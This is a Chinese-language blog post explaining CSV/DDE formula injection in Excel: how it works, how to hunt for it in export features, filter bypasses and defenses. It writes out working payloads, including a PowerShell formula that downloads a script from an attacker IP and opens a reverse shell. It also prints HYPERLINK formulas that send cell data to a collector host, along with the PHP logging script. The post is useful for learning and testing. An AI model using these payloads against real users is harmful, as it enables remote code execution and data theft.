美文网首页Web攻防
初识DDE注入攻击

初识DDE注入攻击

作者: book4yi | 来源:发表于2020-11-28 13:43 被阅读0次

    前言:


    之前实习的时候瞟了一眼同事的渗透测试报告,发现有一个对我来说挺新颖的漏洞——CSV注入,各位表哥轻喷哈,既然遇到了就先学习一波!又水一篇文章欧耶!

    漏洞介绍:


    CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

    漏洞原理:


    Excel解析机制:
    在Excel中,任何以"="字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入"=1+2",表格则会显示为:

    除了=号,以下符号都可用于在Microsoft Excel中触发公式解释:

    • 等于(“=”)
    • 加(“+”)
    • 减号(“ - ”)
    • 在 (”@”)

    DDE注入:

    动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。比如我们构造包含如下字符串的csv或xls文件:

    =cmd |'/C calc'!A0
    

    Excel会尝试调用本机CMD命令,给出友好提示,若用户在无意识状态下点击“是”
    而后尝试接受更正拼写错误,不接受更正则会执行cmd命令,弹出计算器:

    漏洞危害:


    • OS命令执行:

    利用思路:

    添加用户;
    开启任意应用程序;
    操作注册表;
    反弹shell;

    比如利用powershell反弹shell
    项目地址:https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

    =1+cmd|' /C powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://172.16.7.64/Invoke-PowerShellTcp.ps1\"); Invoke-PowerShellTcp -Reverse -IPAddress 172.16.7.64 -Port 4444 '!A0
    
    • 信息泄露:

    利用超链接功能 Hyperlink 创建快捷方式并进行跳转,单击包含HYPERLINK函数的单元格时,Microsoft Excel将打开存储在link_location的文件,如:

    可将表格其中一个单元格设置为以下形式:

    =HYPERLINK("http://192.168.107.145/get_data.php?data="&A1,"Click to view additional information")
    

    它将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据book4yi发到xxx.com,从而导致信息泄露

    # get_data.php
    <?php
     $fp=fopen("user.txt", "a+");   //创建一个user.txt文本
     $referer="referer=".$_SERVER['HTTP_REFERER']."   ";   //查看数据是从哪个地方发来的
     @$data=$_GET['data'];  //接收GET请求的数据
     fwrite( $fp, $referer);   //将referer 写入到文本里
     fwrite( $fp, $data);     //将数据写入到文本里
     fwrite( $fp, "\r\n");     //每次写完换行
    ?>
    

    用户点击访问以后即可将相应的信息发送

    使用第一种攻击方式也可以实现这种攻击效果:

    =6-5 cmd|' /C "C:\Program Files\Internet Explorer\iexplore.exe" http://xxx.com/asd.html'!A0
    

    它将用户定向到恶意钓鱼网站,实现窃取哈希值和口令等操作

    挖掘思路:


    a、关注系统中是否有导出为csv或xls表格的功能,一般存在于信息统计,日志导出等功能处;
    b、确定导出的内容是否用户可控:
    1)可能在界面可直接进行编辑/新增;
    2)通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;
    3、输入处写入测试脚本=2*10,导出后查看表格内容是否解析输入

    绕过技巧:


    1、在等于号被过滤时,可以通过运算符+-的方式绕过:

    -3+2+cmd |' /C calc' !A0
    

    2、利用换行符绕过:

    %0A-3+3+cmd|' /C calc'!D2
    

    3、导出文件为csv时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行

    ;-3+3+cmd|' /C calc'!D2
    

    4、

    @SUM(cmd|'/c calc'!A0)
    

    5、

    =HYPERLINK("https://evil.com")
    

    防御手段:


    1)在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险。
    2)根据业务需求控制用户输入为字母数字字符;
    3)黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。

    参考如下:


    浅谈CSV注入漏洞
    DDE注入(CSV)漏洞原理及实战案例全汇总
    CSV 注入实战 ​

    相关文章

      网友评论

        本文标题:初识DDE注入攻击

        本文链接:https://www.haomeiwen.com/subject/gqdfwktx.html